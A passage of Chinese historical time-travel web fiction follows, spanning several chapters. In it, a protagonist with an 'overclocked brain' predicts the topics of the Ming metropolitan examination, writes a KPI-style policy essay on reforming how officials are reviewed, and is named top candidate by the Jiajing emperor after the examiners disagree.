陛下更非庸主。
岂会出些陈腐旧题,
让我等揣摩透?”
“那您这是…”
苏惟山看着书案上那些写满奇怪符号、
线条和关键词的草纸,一脸困惑。
那上面写的既非经义,
也非策论,倒像是账房先生的流水账和将军的作战图。
“我不是在押题,”
苏惟瑾目光扫过那些草纸,
那是他超频大脑构建的“政治-经济-军事态势模型”的外在投射,
“我是在预测趋势。”
超频大脑全力运转,
不再是记忆和模仿,
而是进入了更高层级的“宏观趋势推演”模式。
海量的信息流被调用、整合:
——嘉靖皇帝登基以来的所有公开言行(彰显其锐意革新、强化君权的倾向);
——“大礼议”的最新动态及余波(清洗旧臣、提拔新贵带来的权力结构变化和政局不稳);
——边镇传来的零散军报(蒙古鞑靼部频繁扰边,军备废弛隐患);
——漕运沿途的见闻及户部账目碎片(惊人的损耗与效率低下,财政压力);
——吏部考核中的某些异常案例(官员贪腐、行政效率低下);
这些看似孤立的信息点,
在超频大脑中相互连接、碰撞、衍生,
如同星图般勾勒出帝国运行中
最为突出的几个“痛点”和皇帝可能最为关注的“焦点”。
“陛下少年登基,欲有所为,
必先巩固权柄,梳理财政,
整饬武备,安定内外。”
苏惟瑾低声自语,
指尖在草纸上划过。
“故此,策问无论如何变化,
其核心必不出此数端!”
他眼中光芒越来越亮,
推演愈发清晰:
可能性一:财政改革。
国用不足,漕运、盐政弊端丛生,此为痼疾。
陛下若要做事,没钱万万不能。
策问极可能涉及“开源节流”、
“清理亏空”、“优化税赋”或“漕运、
盐法改良”。
可能性二:边备整顿。
俺答威胁日甚,九边军镇却积弊已久。
陛下年轻气盛,恐难容忍边患,
“整军经武”、“屯田实边”、
“火器改良”、“边贸互市之利弊”皆可入题。
可能性三:吏治清厘。
“大礼议”后官员队伍动荡,新旧交替,
如何选官、用人、考核、反腐,
确保政令畅通,亦是当务之急。
“考成法”、“慎选守令”、“惩治贪墨”、“激励贤能”皆为可能方向。
甚至,超频大脑还推演出一种较小概率但更具挑战性的可能:
陛下或许会跳出具体事务,
询问更深层的“治国之道”或“君臣关系”,
以考察士子的格局与忠诚。
方向既定,苏惟瑾立刻行动。
他不再像其他举子那样去猜具体题目,
而是针对这三大方向,
结合石珤、贾咏的偏好,
开始准备几套深度不同、
角度各异的“应答方案库”。
每一套方案,都绝非简单的堆砌典故或空谈道理。
论财政,他不仅指出弊端,
更运用超频大脑中的现代经济学原理(用古代语言包装),
提出“系统化改革”、
“数据化考核”、
“激励机制”等核心概念,
并辅以对太仓库收支结构的推测性分析,
其深度远超时人“节俭用度”的老生常谈。
论边备,他超越“修长城、
练精兵”的常规思路,
提出“情报网络前置”、
“机动兵力部署”、
“以战养战(有限反击)”、
“技术装备迭代(改良火铳、战车)”
等更具操作性的构想,
甚至巧妙地引用了某些鲜为人知的古代战例(得益于大脑庞杂记忆)来佐证。
论吏治,他则平衡“德治”与“法治”,
既强调道德教化,
也设计出更精细的“绩效考核指标”(KPI的古代版)
和“交叉审计流程”,
其严密程度令人生畏。
这些方案,恰似为未知的敌人准备了数种不同的精锐武器和战术,
无论考官从哪个角度发问,
他都能迅速调用最合适的方案,
进行精准、深刻、而又符合规则的“降维打击”!
当外面的举子们还在为“《春秋》会不会考大题”、
“水利策问该怎么破题”而绞尽脑汁、
患得患失时,
苏惟瑾已经站在更高的维度,
洞悉了这场考试的本质
——它不仅仅是一场文采的较量,
更是一次对士子是否具备解决帝国现实难题的潜力的考察。
小奇抄写着那些深奥得让他头晕的策论纲要,
忍不住小声问:
“少爷,这些…考官大人能看懂吗?
会不会觉得太…太吓人了?”
第133章 考场再相逢,徐兄别来无恙
二月初九,寅时初刻。
北京城还沉浸在黎明前最深的黑暗中,
但贡院街已是灯火通明,人声鼎沸。
无数盏灯笼、
火把将这条平日里还算宽敞的街道挤得水泄不通,
形成一条蜿蜒的光河。
空气中弥漫着灯油、炭火、
墨锭以及数千人聚集而产生的独特气味,
混杂着寒意,吸入肺中,
令人精神一振,又莫名紧张。
三年一度的礼部会试,天下英才尽汇于此!
苏惟瑾在苏惟山和小奇的护送下,
好容易才挤到贡院大门附近。
他抬头望去,心中不由一震。
这就是北京贡院!
与南京贡院的江南园林式的雅致、灵秀不同,
眼前这座帝国最高等级的科举考场,
透着一股北方特有的、
皇权脚下的庄严肃穆,
甚至可以说是森严。
高大的暗红色围墙在灯火映照下犹如巨兽匍匐,
门前矗立着两座巨大的石牌坊,
坊额上刻着“明经取士”、“为国求贤”八个遒劲大字,
在火光中若隐若现,带着沉重的分量。
持戈而立的兵丁面无表情,
眼神锐利地扫视着躁动的人群,
维持着秩序,那股肃杀之气,
足以让任何喧哗者噤声。
相比之下,南京贡院门前的秦淮河水显得过于温柔了。
“瑾哥儿,东西都检查三遍了,
笔墨砚台、吃食水囊、号牌文书,
齐备!”
苏惟山将考篮最后一次递过来,
声音因紧张而有些发干。
小奇则踮着脚,
拼命想帮苏惟瑾理平那身崭新的、
为应试特制的青色直裰,
仿佛一点褶皱都会影响发挥。
苏惟瑾接过沉甸甸的考篮,神色平静如水。
超频大脑早已将可能出现的临场状况推演了数遍,
此刻唯有绝对的冷静。
“放心,回去吧。考毕再来接我。”
他拍了拍两人的肩膀,
语气沉稳得不像个即将踏入决定命运考场的少年,
反倒像是在安抚旁人。
他转身,深吸一口清冷而混杂的空气,
目光投向那扇即将开启的龙门,
以及龙门下攒动的人头。
各地举子神态各异,
构成了生动的众生相。
有闭目养神、口中念念有词的老儒,
有面色苍白、被家人搀扶着才能站稳的病弱书生,
有兴奋得左顾右盼、跃跃欲试的年轻士子,
更有不少如苏惟瑾般沉默而立、眼神内敛,
将精光藏在平静表面下的竞争者。
隐约间,还能感受到一种微妙的南北分野。
南方来的举子,多身形稍显文弱,
衣着用料讲究,色彩也更雅致些,
三五成群,低声用吴侬软语或江淮官话交流着,
眼神中自信之余,
也带着对北方严寒和面食的不易察觉的疏离。
而北地士子,则大多身材高大些,
面容轮廓更硬朗,棉袍厚实,
嗓门洪亮,言谈间带着燕赵之地的豪迈,
偶尔瞥向南方士子的目光,
混合着对“南蛮”文采的警惕和一丝不服气的较劲。
这种无形的隔阂与竞争,
在贡院门前这方寸之地无声地流淌。
“苏兄!玉衡兄!”
几声熟悉的呼唤穿过嘈杂传来。
苏惟瑾循声望去,
只见徐阶、徐明轩、林文霈、姚涞、屠大山几人正结伴而来。
他们显然也刚到,衣冠楚楚,气度从容,
在人群中显得鹤立鸡群,
周围不少举子都投去或羡慕或探究的目光。
徐明轩依旧是那副矜贵模样,
一身宝蓝杭绸直裰,
外罩玄狐皮坎肩,见到苏惟瑾,
嘴角勾起一抹意味深长的笑:
“苏解元来得早,
可是成竹在胸了?”
语气里那点较劲的意味,
隔老远都能闻到。
苏惟瑾微微一笑,拱手还礼:
“徐兄说笑了,
不过是谨守‘早到勿迟’的教训罢了。
倒是徐兄神采奕奕,
看来近日养精蓄锐,
必是佳作在腹了。”
徐阶则沉稳得多,颔首道:
“玉衡兄,又见面了。
今日天气尚可,
但愿我等皆能如愿。”
他目光扫过巍峨的贡院大门,
沉稳中亦有一丝灼热。
林文霈还是那般敏锐,
笑着接话:
“能与南直隶解元、松江才子同场竞试,实乃幸事。
待会儿场上,可要手下留情啊,苏兄?”
他半开玩笑半认真,眼神里却全是跃跃欲试的斗志。
姚涞和屠大山也纷纷与苏惟瑾见礼,
态度比在济宁时更为郑重亲近。
这几人聚在一处,谈笑风生,
自成一股令人无法忽视的气场。
周围不少南方,尤其是江浙一带的举子,
见这几位声名在外的才俊竟都与那看似过分年轻的“寒门解元”相熟,
言语间颇为推重,
不禁再次暗暗打量苏惟瑾,
原先那点因他年龄和出身而起的轻视,
迅速被好奇和忌惮所取代。
有人低声打听:
“那少年人是谁?
竟与徐子升、徐明轩平辈论交?”
“噤声!那是南直隶今科解元苏惟瑾苏玉衡!”
“哦?便是他!果然年轻得紧…”
苏惟瑾将周遭细微的反应尽收眼底,
心中了然,却并不在意。
他的目光在林文霈和姚涞身上多停留了一瞬。
超频大脑中,冰冷而准确的历史记录悄然浮现:
嘉靖二年癸未科,会元,林文霈;状元,姚涞。
一丝极淡的、几乎无法察觉的歉意在他心底掠过。
林兄,姚兄,对不住了。
今科之鳌首,苏某…却要争上一争了。
这不是傲慢,
而是基于绝对实力和精准策略推演后的必然结论。
他的目标,从来不仅仅是进士,
而是那最顶点的一小撮位置。
“铛——!”
一声沉重悠远的钟鸣自贡院内传来,压过了所有嘈杂人声。
喧闹的贡院门前瞬间安静下来,
数千道目光齐刷刷投向那缓缓洞开的、深红色的大门。
门内是幽深的甬道,
宛如通往一个未知而神圣的领域。
官吏鱼贯而出,高声唱喏,
宣布考场规矩,
第134章 经义稳如山,文章老辣见功
贡院大门轰然关闭的余音似乎还在空气中震颤,
偌大的考场却已然陷入一种奇异的寂静。
数千号舍,如似蜂巢般密密麻麻排列,
每个格子间里都囚禁着一个奋笔疾书的灵魂,
以及一个渴望鱼跃龙门的梦想。
初春的北京,寒意未退。
号舍狭小,仅能容身,
那薄薄的门板根本挡不住无孔不入的冷风。
苏惟瑾搓了搓有些冻僵的手指,
哈出一口白气,却不急于磨墨,
而是先仔细打量这方将陪伴他数日的小天地。
桌板斑驳,不知被多少前辈学子的胳膊肘磨得油亮,
甚至还隐约可见某些焦躁者刻下的划痕或不成句的诗文。
墙壁上糊着厚厚的纸,
却也遮不住底下经年累月的墨渍、油污,
甚至还有可疑的暗色斑点,
天晓得是墨汁还是鼻血。
空气中混合着陈腐的纸张、
劣质墨锭、墙角隐约的尿骚味,
以及一种冰冷的、
属于石墙和绝望的味道。
这环境,比之后世的高考考场,
简直是天地之别。
但苏惟瑾的心境却异常平稳。
超频大脑强似精密仪器,
自动过滤了所有不适感,
将全部算力集中于即将到来的挑战。
“铛!”
又一声锣响。
伴随着胥吏们跑动的脚步声和低沉威严的唱喏:
“发放试题!肃静!
严禁交头接耳!
违者逐出考场,永不叙用!”
一张质地粗糙的黄色试题纸,
被面无表情的差役从号舍小窗递了进来。
真正的战斗,开始了。
苏惟瑾深吸一口气,
接过试题,平铺在桌板上。
目光如电,迅速扫过。
首场考经义,乃科举根基,重中之重。
四书题、五经题(各选一经),
要求阐发义理,代圣贤立言,
最是考验功底深浅、学问扎实与否。
题目映入眼帘。
超频大脑瞬间启动,
化作最强大的搜索引擎,
将题目与浩如烟海的典籍注疏、
以及他预先针对石珤偏好制定的策略进行高速匹配、分析。
四书题出自《中庸》:
“致中和,天地位焉,万物育焉。”
五经题,他选的是《春秋》题,
关乎“宋公及楚人战于泓”一节。
看到题目,苏惟瑾心下大定。
果然不出所料,石珤主考,
经义题走的正是沉稳正统的路子,
不偏不怪,但要在平稳中见出功力深浅,却极难。
“致中和…”
他默念一句,
脑中已浮现出朱子《四书章句集注》的相关阐释,
以及历代大儒的种种发挥。
但他并未立刻下笔。
超频大脑的优势在此刻展现得淋漓尽致。
他并非简单回忆,
而是在庞大的数据库中进行交叉比对、深度解析。
石珤重根基,厌奇巧,好纯正朱学,
但又需在框架内显出自家体会,
不能全然照本宣科。
心念电转间,破题、承题、起讲、入手…
整篇文章的骨架已然在脑中清晰架构而成。
主旨紧扣“中庸之道非庸常,
乃极高明而道中庸”,
强调“中和”并非简单的折中,
而是天地万物运行的至高法则与和谐状态。
引据则严格以朱注为纲,
辅以二程、张载等理学先贤的论述,
确保每一句都有来历,
每一字都合乎规范。
构思既定,他这才不慌不忙地开始磨墨。
动作舒缓而稳定,
仿佛不是在竞争激烈的考场,
而是在自家书斋闲适地挥毫。
墨汁浓淡适中,提笔,舔墨,落笔。
手腕悬稳,笔尖在纸面上滑过,
发出极轻的沙沙声。
字迹端正清朗,
带着一种与他年龄不符的老练筋骨,
这是数月来他利用超频大脑精准控笔、疯狂练习的结果。
格式严格遵循八股制式,起承转合,一丝不苟。
然而,在看似平稳的框架内,
超频大脑赋予他的现代学术视野和批判性思维,
却在不经意间闪烁着微光。
例如,在论述“万物育焉”时,
他并未停留在传统的“圣人德化”层面,
而是巧妙地引入了“遵循规律、
各得其宜”的视角,
将“育”字解释为一种在和谐秩序下自然生发的状态,
暗合某种朴素的系统论思想。
这一点点超越时代的“灵光”,
嵌在厚重扎实的传统论述中,
犹如在一匹质料上乘的厚重锦缎上,
用同色系丝线绣出了一朵极精妙的暗纹花,
不张扬,却能让识货者(如石珤)在细品时,
心头微微一动,暗赞一声“此解精当,深得圣贤本意”。
写至精妙处,他完全沉浸其中,
外界的一切干扰
——隔壁号舍考生压抑的咳嗽声、
远处似乎有人被拖出去的哭喊声、
巡场兵丁沉重的脚步声
——似若都被隔绝开来。
他的世界里,
只剩下笔下的文章与脑中奔涌的智慧流。
写完四书题,稍事休息,
啃了几口硬邦邦的炊饼,
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喝了些冷水。
不敢多喝,号舍内解手颇为不便,
那马桶的味道可不敢恭维。
接着是《春秋》题。
“宋襄公之仁”,历来是争论焦点。
超频大脑再次发威,
不仅调取了《左传》、《公羊》、《谷梁》三传的差异解读,
更结合了石珤可能欣赏的、
强调“尊王攘夷”大义和战争礼法的角度。
他下笔谨慎,
主旨定为“批评宋襄公泥古不化,
不知权变,空谈仁义而误国事”,
这符合主流史观,
也暗合嘉靖帝登基后欲有所作为、
讲求实际的**风向。
但在具体论述中,
他引用《春秋》微言大义,
对战争中的“礼”与“利”、
“仁”与“术”进行了精妙的辩证分析,
指出真正的“仁”应体现在最终利国利民的结果上,
而非拘泥于迂腐的程序。
文章写得引经据典,逻辑严密,
层层推进,最终得出一个稳健却充满力量的结论。
全篇写完,从头到尾检查一遍。
格式无误,避讳字全都注意修改,
墨迹工整,无一错漏。
文章内容更是四平八稳,
根基深厚,却又在关键处藏着不易察觉的机锋与深度,
完美契合了“稳中求深,正中有奇”的策略。
他轻轻吹干墨迹,将试卷小心放好。
此时,天色已近黄昏,
号舍内光线暗淡下来。
不少考生还在苦苦挣扎,
或是抓耳挠腮,或是低声叹息,
更有甚者望着试卷两眼发直,状若痴呆。
寒冷和疲惫开始侵袭众人,
苏惟瑾却感到一种精神上的充沛。
首战告捷,基本盘已稳如泰山。
他甚至可以想象,
当石珤看到这份经义试卷时,
那古板的脸上或许会露出一丝难以察觉的满意神色,
朱笔在名次上轻轻一圈。
“唔,此子根基扎实,
义理纯正,是个肯下苦功的。
经义这一场,当列前茅。”
这就够了。
超频大脑缓缓降低运转功率,
进入休整状态。
他拢了拢衣襟,
将剩下的炊饼细细嚼完,
又抿了口水。
然后,闭上眼,
开始为明日更重要的策问场积蓄精力。
号舍外,寒风掠过甬道,
发出呜呜的声响,
如同无数落榜士子的哀鸣。
而苏惟瑾的号舍内,
却仿佛有一团无形之火,
温暖而坚定地燃烧着。
首场已过,经义如山,岿然不动。
第135章 策问再出鞘,直指吏治核心
一夜北风紧。
号舍如冰窖,
苏惟瑾几乎是蜷缩着熬过了后半夜。
炊饼冻得硬如铁石,
需用力撕扯才能就着冷水咽下。
四周此起彼伏的咳嗽声、
压抑的呻吟声,
衬得这贡院的夜格外漫长凄冷。
然而当清晨第一缕微光透过号舍顶棚的缝隙漏下时,
他立刻睁开了眼,眸光清亮,不见丝毫困顿。
超频大脑经过几个时辰的低功耗休整,已蓄势待发。
他知道,真正的决战,就在今日。
“铛——!”
锣声再次撕裂清晨的寂静,
伴随着胥吏们疲惫却依旧威严的吆喝:
“发放策问题目!肃静!”
又一张黄纸递入。
苏惟瑾深吸一口冰冷的空气,
接过,展开。
目光如炬,迅速扫过题目。
策问通常不止一道,供士子选择。
只见纸上赫然列着数题,
涉及边防、漕运、农事…
而他的目光,瞬间就锁定在了最后一道,
也是篇幅最长的一道之上:
“问:吏治之弊,古今同慨。
今欲使百官砥节奉公,
吏称其职,民安其业,何施而可?
其各详陈所见,毋泛毋隐。”
果然是吏治!
苏惟瑾心脏猛地一跳,
不是紧张,而是兴奋!
一股热血直冲顶门,
昨夜积蓄的寒意被瞬间驱散。
超频大脑以前所未有的功率轰然运转!
庞大的信息洪流奔涌而出:
历代吏治得失、明朝官制特点、
嘉靖初年官员考核的现状与漏洞、
以及他早已准备好的、
融合了现代组织管理学与绩效考核思想的“秘密武器”!
一切都在电光石火间完成匹配、优化、整合。
策略清晰无比:主攻此题!
他并未立刻动笔,
而是再次闭目凝神,
将脑中已成型的方案细细打磨。
用语必须古雅,符合策论体制,
引据必须经典,
但核心思想必须超前、
必须一针见血!
要让石珤觉得扎实,
让贾咏觉得实用,
让所有看到这份考卷的人,
都感到一种直击灵魂的震撼!
磨墨,提笔。手腕沉稳有力。
破题直接切入要害:
“臣对:吏治之清浊,关乎国本之固摇。
今之弊,非不欲治,
实考课之法不明,赏罚之令不信,
遂使因循者得计,砥砺者灰心。”
开宗明义,指出问题核心在于考核与赏罚制度。
承题部分,他引经据典,
从《周礼》的“八法治官府”到《贞观政要》的考核记载,
娓娓道来,显示出深厚的史学功底,
牢牢抓住石珤这类传统考官的眼球。
然而,进入起讲和主体部分,
苏惟瑾的“超频利刃”终于出鞘!
他首先精准剖析当下吏治之弊:
“今之考课,或流于年资,或徇于情面。
上官之评语模糊难据,下吏之政绩虚实莫辨。
等第既无硬尺,黜陟全凭私心。
此所以钻营者众,实干者寡也!”
句句戳心,字字见血。
这哪里是一个少年举子能有的见识?
这分明是浸淫官场数十年的老吏才能发出的慨叹!
紧接着,他提出了核心解决方案
——一套脱胎于现代KPI(关键绩效指标)和目标管理思想的“考成法”雏形:
“伏乞陛下敕下有司,严考成之法:
凡各部院、地方有司,
必明定其职掌,岁初即立‘责簿’,
详列本年应完之钱粮、狱讼、工程、
教化等项,量化其数,
明确其限(设定清晰可量化的年度目标与期限)。”
“施行之中,按季‘注销’,
查核进度,记录在案(季度进度跟踪)。
岁终‘汇考’,对照‘责簿’,
逐项核验完成之数、之质,
划分三等九则,务必公正明确(年度绩效考核与分级)。
其超格完成者,不拘资格,不次超擢;
其怠惰亏空者,即时参劾,
明正其罪(严格的结果应用,赏罚分明)。”
为了增加说服力,
他甚至还提出了配套的监督机制:
“可仿唐之‘巡察使’,宋之‘监司’,
择刚正大臣领之,
专司核查各地‘考成’之实,
以防欺瞒(独立的审计监督)。”
全文逻辑之严密,思路之清晰,
措施之具体,
远超这个时代任何空谈“道德教化”、
“慎选贤能”的策论。
他
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将一个现代管理学的核心思想
——通过制度化、量化、过程化的考核来驱动组织效能
——用完全符合明代**语境的方式表达了出来。
写至酣畅处,苏惟瑾笔走龙蛇,
神采飞扬,俨然不是在被监视的考场上,
而是在金銮殿上向皇帝侃侃而谈。
寒冷、饥饿、疲惫早已被抛到九霄云外。
超频大脑精确控制着每一个用词,
既不过于惊世骇俗触及红线,
又足够深刻犀利令人拍案。
最后,他总结道:
“如此,则权责明而欺蔽难行,
考课实而赏罚必信。
虽不敢谓弊绝风清,
然使贤者得尽其力,
庸者不得塞其责,
吏治庶几可期改善矣。”
收笔。一气呵成。
看着布满墨迹的试卷,
苏惟瑾长长舒了一口气,
胸腔中充满了一种智力上的极度愉悦和碾压般的快感。
这就是降维打击!
用数百年后人类管理智慧的结晶,
来解答这个时代的难题。
他可以想象,当这份策论送到阅卷官面前时,
将会引起怎样的震动。
石珤可能会皱眉于其中过于“术”化的倾向,
但不得不惊叹于其缜密与可行。
贾咏则会眼前一亮,
看到其中切合时务、
迎合上意(嘉靖帝正欲整顿吏治)的巨大价值。
而其他有见识的考官,
恐怕会反复咀嚼,既觉新奇大胆,
又叹服其直指核心。
这份策论,就是他敲开更高名次、
乃至冲击鼎甲的最重一块敲门砖!
他小心地吹干墨迹,将试卷整理好。
环顾四周,许多考生还在对着吏治题抓耳挠腮,
或苦苦构思,或写得满头大汗,
显然被这道题的深度难住了。
也有人选择了其他题目,正在奋笔疾书。
苏惟瑾嘴角勾起一丝不易察觉的弧度。
燕雀安知鸿鹄之志哉。
你们在纠结如何遣词造句、引经据典时,
我已用超越时代的眼光,
为这个帝国的痼疾,开出了一剂猛药。
虽然后续还有场次,
但苏惟瑾知道,
本次会试的胜负手,已然奠定。
超频大脑,再次于无声处,听惊雷。
第136章阅卷起争议,石珤与贾咏争
贡院深处,至公堂。
此地名虽“至公”,
实则皆是人心权衡。
连日来,此地灯火通明,香烟缭绕,
弥漫着墨香、茶香以及一种挥之不去的、
属于权力和抉择的凝重气息。
十余位受命抡才的考官按地域分作三组,
各掌南、北、中三榜阅卷
——南榜统摄应天、浙江等南方十三省卷册,
由三位熟稔江南士子辞采思辨的宿儒主阅,
侧重甄别文章灵气与逻辑;
北榜涵盖顺天、山东等北方九省试卷,
由两位精研北地经义的考官执掌,
更重义理根基与务实态度;
中榜则统摄四川、湖广等中间六省考卷,
由两位通融南北学风的官员负责,
兼顾文采与笃实。
各组先闭门完成初阅、复阅,
选出本组最优卷,
再提交至至公堂交叉核验。
此刻,南、北、中三榜经数轮筛选、荐卷,
最优等的数十份墨卷已被最终挑出,
此刻正静静躺在正副主考的石珤与贾咏面前。
最后的排名,尤其是那前十名,
乃至至关重要的会元之名,
需他二人最终商榷裁定。
石珤端坐主位,
面色沉肃如古井。
他年过花甲,须发皆已花白,
但眼神依旧锐利,
透着经年累月钻研典籍养成的固执与审慎。
他慢条斯理地品着茶,
一份份翻阅着被同考官们极力推荐的试卷,
看得极细,偶尔点头,
更多时是面无表情。
副主考贾咏则显得活络些,
虽也正襟危坐,
但目光流转间自有算计。
他年纪稍轻,官途正旺,更懂得揣摩上意,
也更看重文章中的“机锋”与“实用”。
他翻阅的速度明显快些,
看到精彩处,指尖会不自觉在案上轻叩。
堂内气氛肃穆,
只有纸张翻动的沙沙声和偶尔的低语。
忽然,贾咏的动作停住了。
他拿起一份试卷,
先是快速浏览,继而速度慢了下来,
眉头微蹙,似是惊讶,又似是沉思。
他看完一遍,竟又从头仔细看了一遍,
尤其是策论部分,反复咀嚼。
“石翁,”
贾咏终于抬起头,
将那份试卷推向石珤,
语气带着几分压抑不住的推许。
“您看看这份。
尤其是这篇《吏治策》,
见识超卓,鞭辟入里,直指时弊,
更难得的是,所提‘考成’诸法,
条分缕析,似虚而实,颇具操作性。
下官阅卷多矣,未见有此等切实可行之策论者!”
石珤抬起眼皮,看了贾咏一眼,接过试卷。
他先看经义部分,微微颔首:
“嗯,根基是扎实的,
义理纯正,格式严谨,
是好文章。”
语气平淡,是那种对符合预期之物的认可。
但当他的目光落到那篇策论上时,
花白的眉毛渐渐拧了起来。
他看得比贾咏更慢,
几乎是一字一句地斟酌。
堂内的空气仿佛也随之凝固。
良久,石珤放下试卷,缓缓道:
“文章确是花团锦簇,逻辑也还缜密。”
贾咏面上一喜,正要接话。
却听石珤话锋一转,语气沉凝:
“然,其思想未免过于‘险峭’!
‘量化其数’、‘按季注销’、‘划分等则’…
此等言语,近乎刀笔吏之算计,
将朝廷命官、牧民之责,
视同坊间工役般考较,成何体统?
圣贤之道,在于教化,在于德治,
岂能尽委于术?”
他摇了摇头,带着老成持重的担忧:
“此法前所未有,骤然行之,
恐徒滋纷扰,令百官离心,
非朝廷之福。
此子才学是有的,
但心术…恐偏于奇巧。
依老夫看,其经义可列前茅,
但这策论…锋芒太露,
名次需压一压,置于十名左右,
以示警诫,磨其锐气为好。”
贾咏一听就急了。
他可是在这篇策论里,
清晰地看到了当今圣上登基以来那股子锐意革新、
恨不得立刻廓清吏治的迫切心思!
这“考成法”虽新奇,
却正对了“务实”、“求治”的胃口啊!
“石翁此言,下官不敢苟同!”
贾咏身体微微前倾,
声音也提高了几分。
“正因其法新,方能破旧弊!
如今吏治因循苟且,
正需此等雷霆手段,快刀乱麻!
您看其条陈,并非空想,
步步皆有考量,绝非少年人妄言。
此乃经世之实学,非徒逞口舌之快!”
他指着试卷,极力分说:
“且其文采斐然,引据充足,全然符合制义。
若因内容切中时弊、稍越常轨而打压,
岂非辜负了陛下求贤若渴、广开言路之本意?
下官以为,非但不能压,
反因其见识超卓,当列为前茅,
甚至…可争一争会元!
此卷若呈御览,必能简在帝心!”
“荒谬!”
石珤有些不悦,声音发沉。
“科举取士,首重德行根基!
此子策论,机心过重,近乎申韩之术,
岂是堂堂进士应有的气象?
若点其为魁首,天下士子争相效仿,
皆弃圣贤书而钻研此等权术,
学风岂不大坏?
老夫断不能同意!”
贾咏心下暗骂这老顽固迂腐,
但面上仍保持恭敬,争辩道:
“石翁!治大国若烹小鲜,
有时亦需猛药!
岂能因噎废食?
观此子经义,根基何等纯正,
岂是无德之人?
其策论正是学以致用,为国分忧!
若说风险,任何改革皆有风险,
岂能因惧风险而不用良策?”
两位主考各执一词,争得面红耳赤。
第137章 嘉靖御览,钦点会元!
紫禁城,文华殿东暖阁。
嘉靖皇帝朱厚熜斜倚在软榻上,
指尖轻轻揉着太阳穴。
年轻的皇帝眉宇间带着一丝不易察觉的疲惫与烦躁。
登基一年有余,他雄心勃勃,
欲效法太祖成祖,振刷朝纲,廓清宇内。
然而,这庞大的帝国机器却如同生了锈的齿轮,
运转起来处处滞涩,发出的尽是令人牙酸的吱嘎声。
奏疏堆积如山,多是些**、敷衍塞责的套话。
真正关乎国计民生的议题,
往往在廷议争吵和官员们的推诿扯皮中不了了之。
效率!他最缺的就是效率!
那些满口仁义道德的朝臣,
做起事来却因循苟且,
一个个滑不溜手,
让他空有满腔抱负,
却时常感到一拳打在棉花上。
“唉…”
一声极轻的叹息逸出唇边。
侍立在旁的大太监黄锦立刻屏住了呼吸,
将身子躬得更低了些。
这时,一个小太监悄步进来,跪奏道:
“万岁爷,礼部呈送癸未科会试前十名试卷,恭请圣览钦定名次。”
嘉靖眼皮抬了抬,淡淡道:“搬进来吧。”
几名太监抬着一个小巧的紫檀木案几进来,
上面整整齐齐码放着十份试卷,
皆已誊录成朱卷,字迹工整,
弥封严密,只等御笔钦点。
嘉靖坐直了身子,黄锦连忙上前,
将最上面一份试卷捧到他面前。
皇帝浏览的速度很快。
他天资聪颖,博览群书,
虽年轻,但眼光极为毒辣。
第一份,经义扎实,策论平稳,
嗯,尚可,但无甚新意。
放下。
第二份,文采不错,辞藻华丽,但细看之下,空洞无物。
蹙眉,搁到一旁。
第三份,老成持重,引经据典,可惜全是陈词滥调。
不耐…
一连看了五六份,
嘉靖的眉头越皱越紧,
脸上的失望之色越来越浓。
这就是三年一度选拔出的天下英才?
文章做得花团锦簇,
却无一能切中时弊,
提出些真正有用的东西!
尽是些揣摩上意、四平八稳的货色!
难道满朝文武,将来就要从这些人里补充?
想到此处,他心头那股无名火又隐隐窜起。
黄锦察言观色,小心翼翼地将第七份试卷呈上。
嘉靖漫不经心地接过。
先是扫了一眼经义,
嗯,功底极深,义理纯正,
几乎挑不出毛病,难得。
脸色稍缓。
再看向诗赋,意境超脱,
对仗工稳,灵气十足。
微微颔首。
最后,目光落在那篇策论之上——《吏治策》。
刚看了破题几句,嘉靖的眼神就凝住了。
那尖锐的批判,直指吏治弊端的核心,
句句都说到了他的心坎里!
他不由自主地坐正了身体,
神色变得专注起来。
接着往下看,越看,心中越是震动!
“明定职掌…岁初立‘责簿’…
量化其数…按季‘注销’…岁终‘汇考’…
划分等则…超格完成者不次超擢…
怠惰亏空者明正其罪…”
这一条条、一款款,如同重锤,
一下下敲击在他的心鼓上!
这已不是空泛的指责和建议,
而是一套近乎完整的、
极具操作性的考核流程!
虽然用语古雅,
但内核思想之清晰、逻辑之严密、
措施之具体,远超他看过的任何一份朝臣奏疏!
其中蕴含的那种将管理量化、过程化、
结果导向的核心思想,
对于正苦于官僚系统效率低下、
无从下手的嘉靖来说,
简直是久旱逢甘霖!
虽有些细节显得过于理想化(比如量化所有政务的难度),
但其大胆的构想和直面问题的勇气,
让他拍案叫绝!
“好!好一个‘考成法’!”
嘉靖忍不住低喝一声,
眼中精光四射,之前的疲惫烦躁一扫而空。
“此子竟有如此见识!
将吏治弊端看得如此透彻,
更难得的是,竟能想出此等破局之法!
虽略显稚嫩,但瑕不掩瑜!
此乃真正经世之才!”
他迫不及待地看向弥封处:
“此卷何人所作?”
黄锦连忙示意旁边掌管弥封的礼部官员。
官员上前,小心揭开弥封条,露出下面的名字籍贯。
“回陛下,此卷乃南直隶解元,苏惟瑾所作。”
“苏惟瑾…”
嘉靖重
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复了一遍这个名字,
嘴角第一次露出了真切的笑意。
“年方几何?”
“据履历,应…应是十七岁。”
礼部官员声音有些发颤,显然也被这个年龄惊到了。
“十七岁?!”
嘉靖一怔,随即放声大笑。
“哈哈哈!好!真好!
少年英才!天赐我大明之良才也!”
他心中畅快无比。
一个十七岁的少年,竟能有如此老辣深刻的见解,
提出如此石破天惊的方案,
这已不是简单的才华横溢可以形容,
简直是妖孽!
此时的嘉靖皇帝也不过才17岁而已。
顿时有种英雄惜英雄的感觉。
如此人才,正合他用以打破朝堂暮气、推行新政的心意!
再看其经义、诗赋,皆是顶尖水准,毫无短板。
综合而论,此科之中,无人能出其右!
嘉靖再无犹豫,提起朱笔,在那份试卷上挥毫而就。
笔力遒劲,透着一股帝王的决断与欣赏:
“会试第一名,苏惟瑾。”
写完,还意犹未尽地在旁批注了一句:
“此文颇有些意思。”
御笔钦点,金口玉言!
嘉靖二年癸未科会试会元,就此诞生!
放下笔,嘉靖帝只觉胸中块垒尽去,
多日来的郁气一扫而空。
他对黄锦道:
“其余名次,便依石珤、贾咏所拟,略作调整即可。
这苏惟瑾,朕很期待他在殿试上的表现。”
黄锦躬身领命,心中暗惊,
万岁爷可是很少对臣子露出如此明显的欣赏之色,
这苏惟瑾,简在帝心了啊!
很快,最终的名次拟定。
林文霈、姚涞,李舜臣等才子亦名列前茅,
徐阶、**轩等人也高中前列,
但此刻,他们的光芒都已被那颗骤然升起的超新星所掩盖。
皇命传出,快马直奔贡院。
而此刻的北京城,
尚不知一颗崭新的、足以照亮朝堂的星辰,
已被帝国的最高统治者,亲手点亮。
寒门学子苏惟瑾,连捷三元之路,已迈过最关键的第二步。
会元之名,尘埃落定。
